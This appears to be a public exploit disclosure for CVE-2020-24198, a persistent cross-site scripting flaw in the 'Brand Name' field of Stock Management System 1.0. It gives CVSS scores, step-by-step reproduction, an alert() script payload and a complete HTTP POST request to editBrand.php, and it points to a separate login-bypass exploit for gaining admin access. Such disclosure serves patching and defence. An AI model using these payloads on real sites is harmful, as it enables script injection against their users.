Stock Management System 1.0 - Persistent Cross-Site Scripting (Brand Name)

2020.09.05
us hyd3sec (US) us
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Brand Name) # Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku) # CVE ID: CVE-2020-24198 # Date: September 4, 2020 # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html # Version: 1.0 # Tested On: Windows 10 (x64_86) + XAMPP 7.4.4 # Vulnerability Details # Description A persistent cross-site scripting vulnerability exists within the 'Brand Name' parameter in the edit brand function. # This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Brand Name value expected. #Steps: 1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit) 2. Click "Brand" 3. Click "Action" in any brand name row 4. Click Edit 5. In "Brand Name" field enter XSS <script>alert(1)</script> 6. Click save changes 7. Any page on the webapp expecting that 'Brand Name' will trigger the XSS. POST /stock/php_action/editBrand.php HTTP/1.1 Host: 192.168.222.132 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.222.132/stock/brand.php Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 78 DNT: 1 Connection: close Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8 editBrandName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editBrandStatus=1&brandId=14


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